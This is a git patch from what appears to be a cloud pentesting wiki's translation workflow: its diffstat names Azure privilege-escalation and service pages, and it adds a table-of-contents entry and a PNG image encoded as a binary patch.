From 90c3dbfbdc1702a493cdbedaf97f55ebd4e0c080 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:19:42 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- src/SUMMARY.md | 1 + src/images/lasttower.png | Bin 0 -> 70062 bytes .../az-app-services-privesc.md | 324 ++++---- .../az-services/az-app-services.md | 57 +- .../az-services/az-function-apps.md | 106 ++- theme/elasticlunr.min.js | 10 + theme/ht_searcher.js | 720 ++++-------------- 7 files changed, 426 insertions(+), 792 deletions(-) create mode 100644 src/images/lasttower.png create mode 100644 theme/elasticlunr.min.js diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a470914ae..17225a2e2 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -425,6 +425,7 @@ - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) - [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md) - [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md) + - [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md) - [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md) - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md) - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md) diff --git a/src/images/lasttower.png b/src/images/lasttower.png new file mode 100644 index 0000000000000000000000000000000000000000..61b1978109dbbef3f13164aef900d6ec39a0206c GIT binary patch literal 70062 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 